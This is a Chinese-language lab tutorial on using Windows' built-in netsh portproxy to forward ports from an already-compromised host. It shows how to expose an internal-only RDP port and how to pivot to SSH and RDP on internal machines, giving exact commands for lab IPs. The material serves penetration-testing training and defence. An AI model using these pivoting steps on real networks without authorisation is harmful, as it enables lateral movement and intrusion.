内网隧道代理技术(四)之NETSH端口转发
NETSH端口转发
NETSH介绍
netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问运行这个工具需要管理员的权限
本地端口转发
实验场景
现在我们有这么一个环境,我们获得了公网服务器的权限,并且获得了该服务器的账号密码。该服务器的3389端口也开放着,但是只对内开放,所以我们现在就需要做本地端口映射,将3389端口的流量映射到其他端口。
实验环境
实验机器的信息如下:
机器名字 | 机器IP | 机器类型 |
---|---|---|
攻击机器A | 192.168.0.112 | win11 |
官网机器B | 192.168.198.128 | win10 |
实验步骤
1、假设我们已经控制了官网机器B
2、然后再官网机器B上执行如下的命令
netsh interface portproxy add v4tov4 listenaddress=192.168.198.128 listenport=13389 connectaddress=192.168.198.128 connectport=3389
3、查看是否已经开启端口转发
netsh interface portproxy show v4tov4
4、接下来只需要远程连接该主机的13389端口即可连接到该主机
5、输入登录账户凭证,就可远程登陆至该主机
远程端口转发登陆Linux系统
实验场景
现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的netsh命令进行端口转发访问机器C,这里注意只能访问端口
网络扑拓图如下:
实验环境
实验机器的信息如下:
机器名字 | 机器IP | 机器类型 |
---|---|---|
攻击机器A | 192.168.0.112 | win11 |
官网机器B | 192.168.198.128/192.168.164.132 | win10 |
内网机器C | 192.168.164.130 | kali |
网络情况如下:
A可以访问B
B可以访问C
A不能访问C
实验步骤
1、假设我们已经控制了官网机器B
2、然后再官网机器B上执行如下的命令
netsh interface portproxy add v4tov4 listenaddress=192.168.198.128 listenport=9999 connectport=22 connectaddress=192.168.164.130
3、查看是否已经开启端口转发
netsh interface portproxy show v4tov4
5、在攻击机器A上运行连接官网机器B的端口,然后输入kali的密码,我们就使用攻击机器A访问了内网机器C
ssh root@192.168.198.128 -p 9999
6、删除转发的命令如下
netsh interface portproxy delete v4tov4 listenaddress=192.168.198.128 listenport=9999
远程端口转发登陆Windows系统
实验场景
现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的netsh命令进行端口转发访问机器C,这里注意只能访问端口
网络扑拓图如下:
实验环境
实验机器的信息如下:
机器名字 | 机器IP | 机器类型 |
---|---|---|
攻击机器A | 192.168.0.112 | win11 |
官网机器B | 192.168.198.128/192.168.164.132 | win10 |
内网机器C | 192.168.164.129 | win10 |
网络情况如下:
A可以访问B
B可以访问C
A不能访问C
实验步骤
1、假设我们已经控制了官网机器B
2、然后再官网机器B上执行如下的命令
netsh interface portproxy add v4tov4 listenaddress=192.168.198.128 listenport=3340 connectaddress=192.168.164.129 connectport=3389
3、查看是否已经开启端口转发
netsh interface portproxy show v4tov4
4、接下来只需要使用攻击机器A远程连接官网机器B的3340端口即可连接到内网机器C的3389端口
5、输入登录账户凭证,就可远程登陆至该内网主机C
6、删除转发的命令如下
netsh interface portproxy delete v4tov4 listenaddress=192.168.198.128 listenport=3340